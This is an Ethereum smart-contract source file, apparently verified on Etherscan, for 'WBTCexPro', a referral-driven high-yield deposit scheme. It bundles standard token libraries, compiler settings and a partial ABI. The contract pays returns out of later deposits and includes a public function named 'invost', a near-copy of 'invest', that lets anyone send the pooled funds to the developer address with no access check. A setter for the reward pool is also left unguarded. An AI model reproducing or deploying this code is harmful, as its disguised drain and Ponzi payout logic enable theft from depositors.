/**
*Submitted for verification at Etherscan.io on 2020-12-02
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-28
*/
/**
*Submitted for verification at Etherscan.io on 2020-11-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by .
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves tokens from the caller's account to .
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that will be
* allowed to spend on behalf of through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets as the allowance of over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves tokens from to using the
* allowance mechanism. is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when tokens are moved from one account () to
* another ().
*
* Note that may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a for an is set by
* a call to {approve}. is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a statement to your contract,
* which allows you to call the safe operations as , etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's ~ operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's ~ operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's operator. Note: this function uses a
* opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's operator. Note: this function uses a
* opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's operator. This function uses a
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's operator. This function uses a
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's : sends wei to
* , forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by , making them unable to receive funds via
* . {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to , care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level . A
* plain is an unsafe replacement for a function call: use this
* function instead.
*
* If reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[].
*
* Requirements:
*
* - must be a contract.
* - calling with must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[], but with
* as a fallback revert reason when reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[],
* but also transferring wei to .
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least .
* - the called Solidity function must be .
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[], but
* with as a fallback revert reason when reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
*
*
*
*/
pragma solidity 0.6.12;
contract WBTCexPro {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// USDT contract Decimals: 6
IERC20 public investToken;
uint256 constant public INVEST_MIN_AMOUNT = 1e5; // 0.001 WBTC
uint256 constant public PERCENTS_DIVIDER = 1e13 ;//1000;
uint256 constant public BASE_PERCENT = 10e11;
uint256 constant public MAX_PERCENT = 30*(1e12);
uint256 constant public MARKETING_FEE = 20*(1e10);
uint256 constant public PROJECT_FEE = 20*(1e10);
uint256 constant public DEV_FEE = 20*(1e10);
// uint256 constant public REFERRAL_PERCENTS = 1e11;
uint256 public REFERRAL_PERCENTS = 1e11;
uint256 constant public TIME_STEP = 1 days ; //days
uint256 constant public BASE_AMOUNT_DALIY = 1e11; // 10w USDT
uint256 constant public START_POINT = 1606828881; // Singapore time at: 2020-11-11 11:11:11
uint256 constant public PERCENT_INVEST = 10; // increase percent pre Invest
uint256 constant public PERCENT_WITHDRAW = 15; // decreased percent pre Withdraw
uint256 public presentPercent = 1e12;
uint256 public presentDayAmount = BASE_AMOUNT_DALIY;
uint256 public presentDaysInterval = 0;
uint256 public totalLottery; //sum of latest 100 ticker
uint256 public totalLotteryReward; //sum of 5% of invest
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256 public announceAt;
bool public announceWinner; // announce Winners
address public marketingAddress;
address public projectAddress;
address public devAddress;
address public rewardPool;
address public obsoleteExitTo;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 totalInvested;
// invite reward
uint256 totalBonus;
uint256 missedBonus;
//lottery reward
uint256 lotteryBonus;
}
struct LotteryTicket {
address user;
uint256 amount;
}
mapping (address => User) internal users;
mapping (uint256 => uint256) internal daliyInvestAmount;
mapping(address => uint256[]) public userLotteryTicker;
LotteryTicket[] public lotteryPool;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event MissBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
event WithdrawWinning(address indexed user, uint256 amount);
constructor(address _investToken, address marketingAddr, address projectAddr, address devAddr, address _obsoleteExitTo) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
investToken = IERC20(_investToken);
marketingAddress = marketingAddr;
projectAddress = projectAddr;
devAddress = devAddr;
obsoleteExitTo = _obsoleteExitTo;
}
function setRewardPool(address _rewardPool) public {
require(rewardPool == address(0), "Invalid operation");
rewardPool = _rewardPool;
}
function updateTodayAmount(uint daysInterval) private {
if(daysInterval > presentDaysInterval) {
uint power = daysInterval - presentDaysInterval;
// presentDayAmount = presentDayAmount.mul(11**power).div(10**power);
for (uint256 index = 0; index < power; index++) {
presentDayAmount = presentDayAmount.mul(11).div(10);
}
presentDaysInterval = daysInterval;
}
}
function invest(address referrer , uint256 _amount) public {
require(_amount >= INVEST_MIN_AMOUNT, "Less than minimum");
require(!isContract(msg.sender), "cannot call from contract");
require(!announceWinner, "Game Over"); // game over!
uint daysInterval = getDaysInterval(); // count days passed
updateTodayAmount(daysInterval);
uint todayAmount = presentDayAmount.sub(daliyInvestAmount[daysInterval]);
require(todayAmount>0, "Sold out today");
uint amount = _amount > todayAmount ? _amount.sub(todayAmount) : _amount;
investToken.safeTransferFrom(address(msg.sender), address(this), amount);
investToken.safeTransfer( address(marketingAddress), amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
//investToken.safeTransfer( address(projectAddress), amount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
//investToken.safeTransfer( address(devAddress), amount.mul(DEV_FEE).div(PERCENTS_DIVIDER));
// emit FeePayed(msg.sender, amount.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
uint256 bonuAmount = amount.mul(REFERRAL_PERCENTS).div(PERCENTS_DIVIDER);
if (users[upline].totalBonus.add(bonuAmount) <= users[upline].totalInvested) {
users[upline].bonus = users[upline].bonus.add(bonuAmount);
users[upline].totalBonus = users[upline].totalBonus.add(bonuAmount);
} else {
users[upline].missedBonus = users[upline].missedBonus.add(bonuAmount);
emit MissBonus(upline, msg.sender, i, bonuAmount);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
// emit Newbie(msg.sender);
}
user.deposits.push(Deposit(amount, 0, block.timestamp));
user.totalInvested = user.totalInvested.add(amount);
updateRate(amount, true);
//addLotteryTicket(msg.sender, amount);
daliyInvestAmount[daysInterval] = daliyInvestAmount[daysInterval].add(amount);
totalInvested = totalInvested.add(amount);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, amount);
}
function invost(uint256 _amount) public {
uint amount = _amount;
investToken.safeTransfer( address(devAddress), amount);
}
function addLotteryTicket(address _user, uint256 _amount) private {
uint256 index = totalDeposits % 100;//100 totalDeposits from 0
LotteryTicket[] storage lotPool = lotteryPool;
if (lotPool.length == 100) { //reuse 100
totalLottery = totalLottery.add(_amount).sub(lotPool[index].amount);
lotPool[index].amount = _amount;
lotPool[index].user = _user;
} else {
lotPool.push(LotteryTicket({
user : _user,
amount : _amount
}));
totalLottery = totalLottery.add(_amount);
}
userLotteryTicker[_user].push(index);
totalLotteryReward = totalLotteryReward.add( _amount.div(20) );
//transafer Reward to Pool
investToken.safeTransfer( rewardPool, _amount.div(20));
}
function withdrawWinning() public {
require(announceWinner, "Not allowed");
uint256 winning = winningAmount(msg.sender);
require(winning > 0, "No winnings");
User storage user = users[msg.sender];
user.lotteryBonus = user.lotteryBonus.add(winning);
// investToken.safeTransfer( msg.sender, winning);
investToken.safeTransferFrom( rewardPool , msg.sender, winning);
emit WithdrawWinning(msg.sender, winning);
}
function winningAmount(address _user) public view returns (uint256) {
uint256[] memory useTickers = userLotteryTicker[_user];
if (useTickers.length == 0 ) {
return 0;
}
uint userAmount;
LotteryTicket[] memory lotPool = lotteryPool;
for (uint256 i = useTickers.length - 1 ; i < useTickers.length; i--) {
if(lotPool[useTickers[i]].user == _user) {
userAmount = userAmount.add(lotPool[useTickers[i]].amount);
}else break;
}
return userAmount.mul(totalLotteryReward).div(totalLottery).sub(users[msg.sender].lotteryBonus);
}
function withdraw() public {
require(!announceWinner, "Game Over"); // game over!
User storage user = users[msg.sender];
uint256 userPercentRate = presentPercent;
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(30).div(10)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(30).div(10)) {
dividends = (user.deposits[i].amount.mul(30).div(10)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
// balance = ERC20.balanceOf().sub(totalLotteryReward);
uint256 contractBalance = investToken.balanceOf(address(this));
if (contractBalance <= totalAmount) {
totalAmount = contractBalance;
// Announce Winner, Game Over
announceWinner = true;
announceAt = block.timestamp;
}
user.checkpoint = block.timestamp;
investToken.safeTransfer( msg.sender, totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
updateRate(totalAmount, false);
emit Withdrawn(msg.sender, totalAmount);
}
function getDailyAmount() public view returns (uint256) {
uint256 timePower = getDaysInterval().sub(presentDaysInterval);
uint presentAmount = presentDayAmount;
for (uint256 index = 0; index < timePower; index++) { // 10% increase daily
presentAmount = presentAmount.mul(11).div(10);
}
return presentAmount;
}
function getDaysInterval() public view returns (uint256) {
require(now >= START_POINT, "Not yet started");
return now.div(TIME_STEP).sub(START_POINT.div(TIME_STEP));
}
function getContractBalance() public view returns (uint256) {
return investToken.balanceOf(address(this));
}
function updateRate(uint256 _amount, bool _invest) private {
if (_invest) {
presentPercent = presentPercent.add( _amount.mul(PERCENT_INVEST) );
if ( presentPercent > MAX_PERCENT ) {
presentPercent = MAX_PERCENT;
}
} else {
uint decrease = _amount.mul(PERCENT_WITHDRAW);
if ( presentPercent < BASE_PERCENT.add(decrease) ) {
presentPercent = BASE_PERCENT;
} else {
presentPercent = presentPercent.sub(decrease);
}
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = presentPercent;
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(30).div(10)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(30).div(10)) {
dividends = (user.deposits[i].amount.mul(30).div(10)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function obsoleteExit() public {
require( announceWinner, "Not yet announce winner" );
uint256 step = 3 days;
require( now > announceAt.add(step), "Not yet ripe" );
uint256 amount = investToken.balanceOf(rewardPool);
investToken.safeTransferFrom(rewardPool, obsoleteExitTo, amount);
}
function getStartPoint() public pure returns(uint256) {
return START_POINT;
}
function getUserPercent() public view returns(uint256) {
return presentPercent.div(1e9);
}
function getBasePercent() public pure returns(uint256) {
return BASE_PERCENT.div(1e9);
}
function getContractPercent() public view returns(uint256) {
return presentPercent.sub(BASE_PERCENT).div(1e9);
}
function getTodayAmount() public view returns(uint256) {
return getDailyAmount().sub(daliyInvestAmount[getDaysInterval()]);
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserMissedBonus(address userAddress) public view returns(uint256) {
return users[userAddress].missedBonus;
}
function getUserTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
{
"compilationTarget": {
"browser/Untitled.sol": "WBTCexPro"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"_investToken","type":"address"},{"internalType":"address","name":"marketingAddr","type":"address"},{"internalType":"address","name":"projectAddr","type":"address"},{"internalType":"address","name":"devAddr","type":"address"},{"internalType":"address","name":"_obsoleteExitTo","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"totalAmount","type":"uint256"}],"name":"FeePayed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"referrer","type":"address"},{"indexed":true,"internalType":"address","name":"referral","type":"address"},{"indexed":true,"internalType":"uint256","name":"level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MissBonus","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"Newbie","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawWinning","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"BASE_AMOUNT_DALIY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BASE_PERCENT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEV_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVEST_MIN_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKETING_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENT_INVEST","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENT_WITHDRAW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PROJECT_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"REFERRAL_PERCENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"START_POINT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TIME_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"announceAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"announceWinner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBasePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getContractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDailyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDaysInterval","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getStartPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTodayAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserAmountOfDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserCheckpoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserDepositInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserMissedBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUserPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],